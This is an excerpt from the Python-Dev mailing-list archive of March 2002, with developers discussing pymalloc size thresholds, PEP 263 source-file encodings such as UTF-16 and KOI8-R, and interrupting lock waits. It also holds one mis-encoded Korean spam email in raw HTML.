scant realistic intention of implementing any feature request (the new
features we want get entered as bugs <wink>), I don't think it was a
mistake.  Out of mind, out of sight ...

> What about MvL's assertion that it's more important to pay attention
> to patches than to bugs, because patches are people who are trying to
> contribute, and we want to encourage them?

I hadn't thought of it that way before, and found it very insightful
(delayed thanks, Martin!).  I still try to judge on "most good for the most
people", but I now give patches more weight <wink>.



From nas@python.ca  Fri Mar 15 22:52:11 2002
From: nas@python.ca (Neil Schemenauer)
Date: Fri, 15 Mar 2002 14:52:11 -0800
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIENPOEAA.tim.one@comcast.net>; from tim.one@comcast.net on Fri, Mar 15, 2002 at 04:08:33PM -0500
References: <m3henhvb2t.fsf@mira.informatik.hu-berlin.de> <LNBBLJKPBEHFEDALKOLCIENPOEAA.tim.one@comcast.net>
Message-ID: <20020315145211.A8126@glacier.arctrix.com>

Tim Peters wrote:
> I've said several times that I intend to boost it.

Got a number in mind?

  Neil


From jeremy@zope.com  Fri Mar 15 22:52:13 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 15 Mar 2002 17:52:13 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <20020315145211.A8126@glacier.arctrix.com>
Message-ID: <web-3749649@digicool.com>

On Fri, 15 Mar 2002 14:52:11 -0800
 Neil Schemenauer <nas@python.ca> wrote:
> Tim Peters wrote:
> > I've said several times that I intend to boost it.
> 
> Got a number in mind?

How about 1582?

Jeremy


From tim.one@comcast.net  Fri Mar 15 23:28:28 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 18:28:28 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <20020315145211.A8126@glacier.arctrix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEONOEAA.tim.one@comcast.net>

>> I've said several times that I intend to boost it.

[Neil Schemenauer]
> Got a number in mind?

I hate to disappoint Jeremy, but 1582 is too large -- the limit with the
code as currently written is 256.  It's 64 now on my box, which is the only
one that matters to me <wink>.

sizeof(struct _dictobject) is up to 124 now on my box.  Add 12 bytes for GC
overhead and it's 136, which, conveniently enough, is a multiple of 8
(another constraint).  I think it's important that pymalloc be able to field
"small dict" requests on its own.  So 136 is the first boost I'd try, and
then 144 when the debugger shows me dicts still aren't getting handled
<wink>.  If we can adjust Unicode objects to get at this allocator for
string storage, that's enough too for a 68-character string, which is more
likely to hit more often than a 64 / 2 = 32-character Unicode string limit.
People who actually use Unicode may wish to argue for a larger limit.

I haven't identified any frightening downside to letting pymalloc run all
the way to 256, except that it's going to consume 4K if there's a single
object of any given multiple-of-8 size.  BFD.  So, unless Vladimir knows of
a killer reason not to, I'd be happy to give

#define SMALL_REQUEST_THRESHOLD 256

a whack; i.e., max it out.  Typical RAM capacity is much larger now than
when this code was first written, so I'm certainly not worried about the
size of the static usedpools vector (which needs space proportional to the
number of distinct size classes pymalloc handles on its own).



From nas@python.ca  Sat Mar 16 00:06:06 2002
From: nas@python.ca (Neil Schemenauer)
Date: Fri, 15 Mar 2002 16:06:06 -0800
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <m38z8tvasx.fsf@mira.informatik.hu-berlin.de>; from martin@v.loewis.de on Fri, Mar 15, 2002 at 09:24:46PM +0100
References: <Pine.OS2.4.32.0203150745110.3696-100000@tenring.andymac.org> <LNBBLJKPBEHFEDALKOLCAEJDOEAA.tim.one@comcast.net> <20020315153727.GA9439@panix.com> <m38z8tvasx.fsf@mira.informatik.hu-berlin.de>
Message-ID: <20020315160606.A8667@glacier.arctrix.com>

See patch 530556 on SF.

  Neil


From martin@v.loewis.de  Sat Mar 16 00:27:41 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 16 Mar 2002 01:27:41 +0100
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEEONOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCEEONOEAA.tim.one@comcast.net>
Message-ID: <m3g031s6f6.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> I haven't identified any frightening downside to letting pymalloc run all
> the way to 256, except that it's going to consume 4K if there's a single
> object of any given multiple-of-8 size.

I also wonder whether it might be sensible to space the size classes
16 bytes apart, thus reducing the number of classes to 16.

Regards,
Martin


From tim.one@comcast.net  Sat Mar 16 01:10:37 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 20:10:37 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <m3g031s6f6.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEPDOEAA.tim.one@comcast.net>

[martin@v.loewis.de]
> I also wonder whether it might be sensible to space the size classes
> 16 bytes apart, thus reducing the number of classes to 16.

I don't think so.  What's the upside?  Reducing the size of usedpools?  If
so, I expect the fixed static memory savings would be swamped by the
increase in wasted pad bytes:  for a request of n bytes, the amount acually
allocated would go up from ceiling(n/8)*8 to ceiling(n/16)*16.  For example,
for a "small dict" of 136 bytes, we'd actually allocate 144 instead of 136
bytes, so after allocating 16 dicts we would have wasted an additional 8*16
= 128 bytes, which is already as much memory as we saved in usedpools (16
classes * 2 pointers/class * 4 bytes/pointer = 128 bytes).

When obmalloc.c was first written, there was a much stronger case to be made
that Python object allocation picked on a fixed, small and *known* set of
object sizes.  We've made many more kinds of internal objects since then,
though, and the __slots__ mechanism allows for instances of user-defined
classes to have widely varying sizes too (previously all instances had the
same size).

All of this stuff pushes pymalloc toward being more of a general "small
block allocator" than a Python-specific allocator, and small block
allocators want as little padding as possible.  Indeed, if we could think of
a clean way around the x-platform alignment headaches, I'd be keener to
space the classes by 4 bytes!  The size of usedpools is trivial compared to
the dynamic memory that would save.



From andymac@bullseye.apana.org.au  Fri Mar 15 22:41:32 2002
From: andymac@bullseye.apana.org.au (Andrew MacIntyre)
Date: Sat, 16 Mar 2002 09:41:32 +1100 (EDT)
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEMFOEAA.tim.one@comcast.net>
Message-ID: <Pine.OS2.4.32.0203160935350.3905-100000@tenring.andymac.org>

On Fri, 15 Mar 2002, Tim Peters wrote:

> and _THIS_MALLOC is a macro exapnding to PyCore_OBJECT_MALLOC_FUNC, and
> PyCore_OBJECT_MALLOC_FUNC is a macro expanding to _PyCore_ObjectMalloc when
> pymalloc is enabled.  _PyCore_ObjectMalloc is not a macro, it's the actual
> ultimate name of the malloc substitute (ignoring the possibilities for
> somone to break into the macro chain).  All *these* macro names are supposed
> to be "invisible" (internal to the memory implementation).
>
> In the other direction, e.g.,
>
>    PyObject_New ->
>    _PyObject_New ->
>    PyObject_MALLOC ->
>    PyCore_OBJECT_MALLOC ->
>    PyCore_OBJECT_MALLOC_FUNC,
>        and we're back in the macro chain traced above
>
> There's just no sane way to say "give me obmalloc.c's malloc".  I'd rather
> we named obmalloc.c's entry points, e.g., PyMalloc_Malloc directly ...

When I did some experiments with using pymalloc for all allocation in the
interpreter, the above was a pain in figuring out what to change.

I find the explicit naming approach you suggest attractive.

I plan to have another look at those old experiments (things pretty
much worked, but there was a savage performance hit...).

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac@bullseye.apana.org.au  | Snail: PO Box 370
        andymac@pcug.org.au            |        Belconnen  ACT  2616
Web:    http://www.andymac.org/        |        Australia



From stephen@xemacs.org  Sat Mar 16 03:20:08 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 16 Mar 2002 12:20:08 +0900
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: <200203151939.g2FJd6N04542@pcp742651pcs.reston01.va.comcast.net>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
 <3C8F236F.2512966F@lemburg.com>
 <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>
 <3C922ABC.5E5718DE@lemburg.com>
 <878z8tocsl.fsf@tleepslib.sk.tsukuba.ac.jp>
 <200203151939.g2FJd6N04542@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <87pu25mc5z.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Guido" == Guido van Rossum <guido@python.org> writes:

    >> a. Does this really make sense for UTF-16?  It looks to me like
    >> a great way to induce bugs of the form "write a unicode literal
    >> containing 0x0A, then translate it to raw form by stripping the
    >> u prefix."

    Guido> Of course not. I don't expect anyone to put UTF-16 in their
    Guido> source encoding cookie.

Mr. Suzuki's friends.  People who use UTF-16 strings in other
applications (eg Java), but otherwise are happy with English.

    Guido> But should we bother making a list of encodings that
    Guido> shouldn't be used?

I would say yes.  People will find reasons to inflict harm on
themselves if you don't.

    >> b. No editor is likely to implement correct display to
    >> distinguish between u"" and just "".

    Guido> That's fine.  Given phase 2, the editor should display the
    Guido> entire file using the encoding given in the cookie, despite
    Guido> that phase 1 only applies the encoding to u"" literals.
    Guido> The rest of the file is supposed to be ASCII, and if it
    Guido> isn't, that's the user's problem.

Huh?  I thought that people were regularly putting arbitrary text into
ordinary strings, and that the whole purpose of this PEP was to extend
that practice to Unicode.

Are you going to deprecate the practice of putting KOI8-R into
ordinary strings?  This means that Cyrillic users have stop doing
that, change the string to Unicode, and apply codecs on IO.  They
aren't going to bother in phase 1, will have a rude surprise in phase
2.  That's human nature, of course, but I don't see how it serves
Python to risk it.

    >> e. This causes problems for UTF-8 transition, since people will
    >> want to put arbitrary byte strings in a raw string.

    Guido> I'm not sure I understand.  What do you call a raw string?
    Guido> Do you mean an r"" literal?  Why would people want to use
    Guido> that for arbitrary binary data?  Arbitrary binary data
    Guido> should *always* be encoded using \xDD hex or \OOO octal
    Guido> escapes.

raw -> non-Unicode here.  Incorrect usage, my apologies.  "Arbitrary"
was the wrong word too, I mean non-UTF-8.  Eg, iso-8859-1 0xFF.  I
would have not problem with requiring people to use escapes to write
non-English strings.  But the whole point of this PEP is to allow
people to write those in their native encodings (for Unicode strings).
People are going to continue to squirt implicitly coded octet-strings
at their terminals (which just happen to have an appropriate font
installed<wink>) and expect it to work.

AFAICT this interpretation of the PEP saves no pain, simply postpones
it.  Worse, people who don't understand it fully are going to believe
it sanctions arbitrary encodings in string literals.  I don't see how
you can avoid widespread misunderstanding of that sort unless you have
the parser refuse to execute the program---it may actually increase
the pain when phase 2 starts.

    Guido> Sounds like a YAGNI to me.

Could be.  I'm sorry I can't be less fuzzy about the specific points.
But then, that's the whole problem, really---we're trying to serve
natural language usage which is inherently fuzzy.

I see lots of potential problems in interpretation of this PEP by the
people it's intended to serve: those who are attached to some native
encoding.  Better to raise each now, and have the scorn it deserves
heaped high, than to say "we coulda guessed this would happen" later.

If you think it's getting too abstract to be useful, I'll be quiet
until I've got something more concrete.  I'm hoping the the discussion
seems useful despite the fuzz.

-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From guido@python.org  Sat Mar 16 03:58:46 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 22:58:46 -0500
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: Your message of "16 Mar 2002 12:20:08 +0900."
 <87pu25mc5z.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp> <3C8F236F.2512966F@lemburg.com> <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net> <3C922ABC.5E5718DE@lemburg.com> <878z8tocsl.fsf@tleepslib.sk.tsukuba.ac.jp> <200203151939.g2FJd6N04542@pcp742651pcs.reston01.va.comcast.net>
 <87pu25mc5z.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <200203160358.g2G3wkV06256@pcp742651pcs.reston01.va.comcast.net>

>     >> a. Does this really make sense for UTF-16?  It looks to me like
>     >> a great way to induce bugs of the form "write a unicode literal
>     >> containing 0x0A, then translate it to raw form by stripping the
>     >> u prefix."
> 
>     Guido> Of course not. I don't expect anyone to put UTF-16 in their
>     Guido> source encoding cookie.
> 
> Mr. Suzuki's friends.  People who use UTF-16 strings in other
> applications (eg Java), but otherwise are happy with English.

I don't understand the mechanics, unless they encode the entire file
in UTF-16.  And then Python can't parse it, because it assumes ASCII.

I think even Mr. Suzuki isn't thinking of using UTF-16 in his Unicode
literals.  He currently sets UTF-16 as the default encoding for data
that he presumably reads from a file.

>     Guido> But should we bother making a list of encodings that
>     Guido> shouldn't be used?
> 
> I would say yes.  People will find reasons to inflict harm on
> themselves if you don't.

Any file that's encoded in an encoding (such as UTF-16) that's not an
ASCII superset is unparseable for Python -- Python would never even
get to the point of recognizing the comment with the encoding cookie.
So I doubt that this will be a problem.  It's like the danger of
hitting yourself in the head with a 16-ton weight -- in order to swing
it, you'd first have to lift it...

The other interpretation (that they would use UTF-16 inside u"" and
ASCII elsewhere) is just as insane, since no person implementing a
text editor with any form of encoding support would be insane enough
support such a mixed-mode encoding.

>     >> b. No editor is likely to implement correct display to
>     >> distinguish between u"" and just "".
> 
>     Guido> That's fine.  Given phase 2, the editor should display the
>     Guido> entire file using the encoding given in the cookie, despite
>     Guido> that phase 1 only applies the encoding to u"" literals.
>     Guido> The rest of the file is supposed to be ASCII, and if it
>     Guido> isn't, that's the user's problem.
> 
> Huh?  I thought that people were regularly putting arbitrary text into
> ordinary strings, and that the whole purpose of this PEP was to extend
> that practice to Unicode.
> 
> Are you going to deprecate the practice of putting KOI8-R into
> ordinary strings?  This means that Cyrillic users have stop doing
> that, change the string to Unicode, and apply codecs on IO.  They
> aren't going to bother in phase 1, will have a rude surprise in phase
> 2.  That's human nature, of course, but I don't see how it serves
> Python to risk it.

I wasn't clear on what you meant (see below).

I think this will actually work.  Suppose someone uses KOI8-R.
Presumably they have an editor that reads, writes and displays
KOI8-R, and their default interpretation of Python's stdout will also
assume KOI8-R.

Thus, if their program contains

    k = "...some KOI8-R string..."
    print k

it will print what they want.  If they write this:

    u = unicode(k, "koi8-r")

it will also do what they want.  Currently, if they write

    u = u"...some KOI8-R string..."

it won't work, but with the PEP, in phase 1, it will do the right
thing as long as they add a KOI8-R cookie to the file.  The treatment
of the 8-bit string assigned to k will not change in phase 1.

But the treatment of k under phase 2 will be, um, interesting, and I'm
not sure what it should do!!!  Since in phase 2 the entire file will
be decoded from KOI8-R to Unicode before it's parsed, maybe the best
thing would be to encode 8-bit string literals back using KOI8-R (in
general, the encoding given in the encoding cookie).

    *** MAL, can you think about this? ***

>     >> e. This causes problems for UTF-8 transition, since people will
>     >> want to put arbitrary byte strings in a raw string.
> 
>     Guido> I'm not sure I understand.  What do you call a raw string?
>     Guido> Do you mean an r"" literal?  Why would people want to use
>     Guido> that for arbitrary binary data?  Arbitrary binary data
>     Guido> should *always* be encoded using \xDD hex or \OOO octal
>     Guido> escapes.
> 
> raw -> non-Unicode here.  Incorrect usage, my apologies.  "Arbitrary"
> was the wrong word too, I mean non-UTF-8.  Eg, iso-8859-1 0xFF.  I
> would have not problem with requiring people to use escapes to write
> non-English strings.  But the whole point of this PEP is to allow
> people to write those in their native encodings (for Unicode strings).
> People are going to continue to squirt implicitly coded octet-strings
> at their terminals (which just happen to have an appropriate font
> installed<wink>) and expect it to work.

How about the solution I suggested above?  Basically, the encoding
used for 8-bit string literals better match the encoding cookie used
for the source file, otherwise all bets are off.  But this should
match common usage -- all people have to do is add the encoding cookie
to their file.

> AFAICT this interpretation of the PEP saves no pain, simply postpones
> it.  Worse, people who don't understand it fully are going to believe
> it sanctions arbitrary encodings in string literals.

IMO, only one arbitrary encoding will be used per user -- his/her
favorite, default, and that's what they'll put in their encoding
cookie once we train them properly.

>                                                       I don't see how
> you can avoid widespread misunderstanding of that sort unless you have
> the parser refuse to execute the program---it may actually increase
> the pain when phase 2 starts.
> 
>     Guido> Sounds like a YAGNI to me.
> 
> Could be.  I'm sorry I can't be less fuzzy about the specific points.
> But then, that's the whole problem, really---we're trying to serve
> natural language usage which is inherently fuzzy.
> 
> I see lots of potential problems in interpretation of this PEP by the
> people it's intended to serve: those who are attached to some native
> encoding.  Better to raise each now, and have the scorn it deserves
> heaped high, than to say "we coulda guessed this would happen" later.
> 
> If you think it's getting too abstract to be useful, I'll be quiet
> until I've got something more concrete.  I'm hoping the the discussion
> seems useful despite the fuzz.

Same here.  If you still think it's necessary, maybe you can try to
express exactly when you would want a program to be declared illegal
because of expected problems in phase 2?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From suzuki@acm.org  Sat Mar 16 16:25:05 2002
From: suzuki@acm.org (SUZUKI Hisao)
Date: Sat, 16 Mar 2002 16:25:05 JST
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
Message-ID: <20020316072459085.DDES.28894.t-mta1.odn.ne.jp@mta1.odn.ne.jp>

In message <m34rjj12l7.fsf@mira.informatik.hu-berlin.de>
> > And almost every operating system in Japan is on the way to
> > adopt Unicode to save us from the chaos.  I am afraid the
> > mileage of the PEP will be fairly short and just results in
> > loading a lot of burden onto the language, 
> 
> That is a mis-perception. The PEP does not add a lot of burden onto
> the language; the stage-1 implementation is fairly trivial. The
> biggest change in the interpreter will be to have the parser operate
> on Unicode all the time; that change will be necessary stage 2,
> whether UTF-8 will be the default encoding or not.

I see.  After all, the java compiler performs such a task now.

But I wonder what about codecs of the various encodings of various
countries.  Each of Main-land China, Taiwan, Korea, and Japan has its
own encoding(s).  They will have their own large table(s) of truly
many characters.  Will not this make the interpreter a huge one?  And
once UTF comes to major, will not they become a huge legacy?

Maybe each local codec(s) must be packed into a so-called Country
Specific Package, which can be optional in the Python distribution.  I
believe you have considered such thing already.  In additon, I see
this problem does not relate to PEP 263 itself in the strict sense.
The PEP just makes use of codecs which happen to be there, only
requiring that each name of them must match with that of Emacs,
doesn't it?

> Also, the warning framework added will help people migrating - whether
> towards UTF-8 or custom locally-declared encodings is their choice.

As for declared encodings, I have one thing to say.  And this is
another point where THE CURRENT PEP CONSIDERED FAULTY FOR SOME
JAPANESE.  (It relates to UTF-16 again. *sigh*)

In short:

If the current PEP regards UTF-8 BOM, why it does not allow UTF-16
_with_ BOM?  The implementation would be very trivial.  UTF-16 with
BOM is becoming somewhat popular among casual users in Japan.

In long:

It is true that many Japanese developers do not use UTF-16 at all (and
may be even suspicious of anyone who talks about the use of it ;-).
However, the rest of us sometimes use UTF-16 certainly.  You can edit
UTF-16 files with, say, jEdit (www.jedit.org) on many platforms,
including Unix and Windows.  And in particular, you can use TextEdit
on Mac.  TextEdit on Mac OS X is a counterpart of notepad and wordpad
on Windows.

UTF-16 is typically 2/3 size to UTF-8 when many CJK chararcters are
used (each of them are 3 bytes in UTF-8 and 2 bytes in UTF-16).  And
in particular on Japanese Mac, it has more support than other
plain-text encodings.  In the default setting, TextEdit saves a
plain-text file in Shift_JIS or UTF-16.  Shift_JIS suffers from the
lack of several important characters which are used in the real life
(most notably, several Kanji used in some surnames... Yes, there is a
fair motivation among casual Japanese to use Unicode!).  Once
non-Shift_JIS character is used in the file, it will be saved in
UTF-16 by default (not UTF-8, regrettably.  Perhaps it may be because
of the "mojibake" problem partly).

Now iBook, iMac and PowerMac are fairly popular among casual users in
Japan; they are almost always within the top 10 in PC sales.  Since
Mac OS X has become the default recently, casual users are very likely
to happen to write their scripts in UTF-16 with TextEdit.

# Since TextEdit has similar key-bindings to Emacs, even power users
# may want to use it to edit his script.  Indeed I do so.

By the way, I had reported another problem which may make PEP 263
faulty, you know.  There had been a project which one must operate on
certain fixed-length texts in utf-16-be.  In java world such data are
not so rare.  It was where that encoding was used as default.  But I
now see it would be reasonable not to depend on default in such cases.
Anyway one could say that was a special case...

But this is not so.  UTF-16 files is becoming popular among
not-so-little users of Mac in Japan.  Easy usability of various
characters which are not found in classic JIS but in Unicode attracts
some Japanese indeed.  (Look into several Mac magazines in Japan, if
you can.)

As the programming language for everyone, it will be very nice for
Python to accept such scripts.  I believe the orthogonality has been
also one of the most imporant virtues of Python.

The implementation would be fairly straight.  If the file begins in
either 0xFE 0xFF or 0xFF 0xFE, it must be UTF-16.


> > I know it is not the best practice either.  However, you cannot
> > safely write Shift_JIS into Python source file anyway, unless
> > you hack up the interpreter parser itself for now.  
> 
> In stage 2 of the PEP, this will be possible (assuming Python has
> access to a Shift_JIS codec).

Yes, I have appreciated the PEP on this very possibility.  We will be
also able to use even ISO-2022-JP.

If the stage2 comes soon within a year and it is highly stable, it may
be EXTREMELY useful in Japan.  Or else, I am afraid it might become
bear's service...
(Maybe only UTF - Unicode codecs will be relevant...)

--
SUZUKI Hisao <suzuki@acm.org> "Bye bye, Be!"



From tim.one@comcast.net  Sat Mar 16 07:26:53 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 16 Mar 2002 02:26:53 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <Pine.OS2.4.32.0203160935350.3905-100000@tenring.andymac.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEAAOFAA.tim.one@comcast.net>

[Andrew MacIntyre]
> ...
> I plan to have another look at those old experiments (things pretty
> much worked, but there was a savage performance hit...).

I remember.  If people report positive results on Linux and Windows, I'd +1
it even if it slowed all other platforms.  I see Neil fiddled his patch to
allow turning pymalloc off again, and that makes it a no-brainer (if it
sucks on your platform, turn it off on your platform).



From dhlee@flynara.co.kr  Sat Mar 16 07:48:23 2002
From: dhlee@flynara.co.kr (ÇöóÀ×À¥³ª¶ó)
Date: Sat, 16 Mar 2002 16:48:23 +0900
Subject: [Python-Dev] °¢Á¾ ¹®¼­¸¦ PDF·Î º¯È¯ÇØ µå¸³´Ï´Ù(±¤..°í)
Message-ID: <E16m8vV-0007Ys-00@mail.python.org>

<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=euc-kr">
<style>
	body, td {
		font-size:9pt;
		line-height:150%;
		color:#5e5e5f;
	}
	A:LINK			{ text-decoration:none; color:#5e5e5f; }
	A:VISITED	{ text-decoration:none; color:#5e5e5f; }
	A:HOVER		{ text-decoration:underline; color:#5B75BF; }
</style>
</head>
<body bgcolor="#ffffff" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<table width="620" border="0" cellspacing="0" cellpadding="0" align="center">
  <tr> 
    <td><img src="http://www.zinenara.com/email/img/title.gif" width="620" height="30"></td>
  </tr>
  <tr> 
    <td><img src="http://www.zinenara.com/email/img/img_01.gif" width="620" height="207"></td>
  </tr>
  <tr> 
    <td><img src="http://www.zinenara.com/email/img/text.gif" width="620" height="320" usemap="#Map" border="0"></td>
  </tr>
  <tr> 
    <td><img src="http://www.zinenara.com/email/img/contact.gif" width="620" height="117"></td>
  </tr>
  <tr> 
    <td>
      <table width="100%" border="0" cellspacing="0" cellpadding="0" background="http://www.zinenara.com/email/img/bottom_03.gif">
        <tr> 
          <td width="5%"><img src="http://www.zinenara.com/email/img/bottom_01.gif" width="27" height="26"></td>
          <td width="92%">
            <div align="center">¡Ø º» ¸ÞÀÏÀº ¹ß½Å Àü¿ëÀ̹ǷΠ¼ö½ÅÀ» ¿øÇÏÁö ¾ÊÀ¸½Ã¸é <A href="mailto:dhlee@flynara.co.kr"><font color="#cc0000">¿©±â</font></a> 
              ¸¦ ´­·¯ ÁÖ¼¼¿ä.</div>
          </td>
          <td width="3%"><img src="http://www.zinenara.com/email/img/bottom_02.gif" width="27" height="26"></td>
        </tr>
      </table>
    </td>
  </tr>
</table>
<map name="Map">
  <area shape="RECT" coords="431,285,608,307" href="http://www.zinenara.com" target="_blank">
</map>
</body>
</html>


From martin@v.loewis.de  Sat Mar 16 09:10:56 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 16 Mar 2002 10:10:56 +0100
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: <200203160358.g2G3wkV06256@pcp742651pcs.reston01.va.comcast.net>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
 <3C8F236F.2512966F@lemburg.com>
 <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>
 <3C922ABC.5E5718DE@lemburg.com>
 <878z8tocsl.fsf@tleepslib.sk.tsukuba.ac.jp>
 <200203151939.g2FJd6N04542@pcp742651pcs.reston01.va.comcast.net>
 <87pu25mc5z.fsf@tleepslib.sk.tsukuba.ac.jp>
 <200203160358.g2G3wkV06256@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m3zo187u8v.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> But the treatment of k under phase 2 will be, um, interesting, and I'm
> not sure what it should do!!!  Since in phase 2 the entire file will
> be decoded from KOI8-R to Unicode before it's parsed, maybe the best
> thing would be to encode 8-bit string literals back using KOI8-R (in
> general, the encoding given in the encoding cookie).

The meaning of the string literals will not change: they continue to
denote byte strings, and they continue to denote the same byte strings
that they denote today (by accident).

What will change is this:
- it will be official that you can put KOI-8R into a string literal,
  and that the interpreter will produce the byte string "as-is"
- it will be an error if the byte string does not follow the encoding,
  e.g. if you declare UTF-8, but have some string literal that violates
  the UTF-8 structure
- Python will determine token boundaries only after decoding the input,
  so a byte value of 34 does not necessarily indicate the end of a
  string anymore (if the decoder consumes the byte as the second byte
  of some character)

In general, the implementation strategy will be indeed that strings
literals are encoded back into their original encoding. It is not
clear to me when this should happen, though; in particular, whether
the AST should have Py_UNICODE* everywhere.

Regards,
Martin


From tim.one@comcast.net  Sat Mar 16 09:19:35 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 16 Mar 2002 04:19:35 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <3C91ED7C.CED61E11@metaslash.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEAFOFAA.tim.one@comcast.net>

[Neal Norwitz]
> Oh no, purify is much better now.  It reports 1000s of spurious warnings
> and then crashes.  It's completely useless now.

OK:  attach a dump file to an SF bug report and we'll have Barry look at it
in Emacs hex mode.

there's-nothing-barry-won't-do-to-plug-a-leak-ly y'rs  - tim



From tim.one@comcast.net  Sat Mar 16 09:41:10 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 16 Mar 2002 04:41:10 -0500
Subject: [Python-Dev] POSIX thread code
In-Reply-To: <200203151615.g2FGFoA02807@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEAGOFAA.tim.one@comcast.net>

[Tim]
> I'm deadly opposed to letting a keyboard interrupt break out of a
> wait for a Python lock.

[Guido]
> I've heard this before.  Can you explain why?

The code would be a mess, it wouldn't work across platforms (e.g.,
interrupts are invisible to a wait on a POSIX condvar), and it would change
current behavior.

> It would not be incorrect -- if the SIGINT had arrived a microsecond
> before the wait started, the program would have been interrupted in
> exactly the same state.

Ya, and if my program has been deadlocked for 4 hours, it's exactly the same
as if it had simply been swapped out for that long without deadlock, and
then the interrupt occurred right before it was about to grab the fatal
lock.  Try explaining that to a user base that thinks time.sleep() is an
advanced synchronization technique <wink>.

> It's one of the few places where code can be blocked in a
> system call (if you want to call a lock wait a system call -- it's
> close enough for me)

I'd be more upset about that if it weren't the *purpose* of lock.acquire()
to block <wink>.  If a user doesn't want to block, they should poll,
acquire-with-timeout, or fix their bad assumptions.

> and a ^C doesn't stop it, and that can be annoying at times.
>
> Of course, if it's not the main thread, signals including SIGINT
> shouldn't do anything, but that's a separate issue.

Why should the main thread act differently?

> Breaking the main thread IMO is useful behavior for interactive
> programs and for scripts invoked from the command line.

Being able to interrupt any thread may be useful.  I guess I don't see
what's especially useful about breaking the main thread.  If my program is
hosed, I'd just as soon kill the whole thing.

> (In practice, this is probably only interesting for interactive use --
> if you hang your main thread on a deadlock, there's no way to get your
> prompt back, and that may mean no way to figure out what went wrong or
> save stuff you wanted to save.

Hmm.  The "save stuff" use may be most valuable for non-interactive
long-running jobs, assuming that it's possible to save stuff despite that
the rest of your threads remain deadlocked (implying they're all holding
*some* lock).  I suppose if you can guess *which* lock the main thread broke
out of, you could at least release that one and hope for some progress ...

I don't know.  If the possibility were there, I expect one could, with care,
rely on its details to build some more-or-less useful scheme on top of it --
at least on platforms where it worked.  It's really not all that attractive
on its own; maybe learning how to build efficient interruptible locks
x-platform could lead to a more general gimmick, though.



From martin@v.loewis.de  Sat Mar 16 09:54:02 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 16 Mar 2002 10:54:02 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <20020316072459085.DDES.28894.t-mta1.odn.ne.jp@mta1.odn.ne.jp>
References: <20020316072459085.DDES.28894.t-mta1.odn.ne.jp@mta1.odn.ne.jp>
Message-ID: <m3r8mk7s91.fsf@mira.informatik.hu-berlin.de>

"SUZUKI Hisao" <suzuki@acm.org> writes:

> But I wonder what about codecs of the various encodings of various
> countries.  Each of Main-land China, Taiwan, Korea, and Japan has its
> own encoding(s).  They will have their own large table(s) of truly
> many characters.  Will not this make the interpreter a huge one?

Depends on what you count as "the interpreter". Python will use the
codec framework for implementing PEP 263. This supports "pluggable"
codecs, which don't consume any memory until they are used; they do
consume disk space if installed.

Even when Python applications primarily use Unicode internally, I
assume there will be the need for these legacy codecs for a long time,
so people will continue to have them installed. So allowing those
encodings for Python source does not add a new burden.

> Maybe each local codec(s) must be packed into a so-called Country
> Specific Package, which can be optional in the Python distribution.  I
> believe you have considered such thing already.  In additon, I see
> this problem does not relate to PEP 263 itself in the strict sense.
> The PEP just makes use of codecs which happen to be there, only
> requiring that each name of them must match with that of Emacs,
> doesn't it?

Correct. I think the IANA "preferred MIME name" for the encoding
should be used everywhere; this reduces the need for aliases.

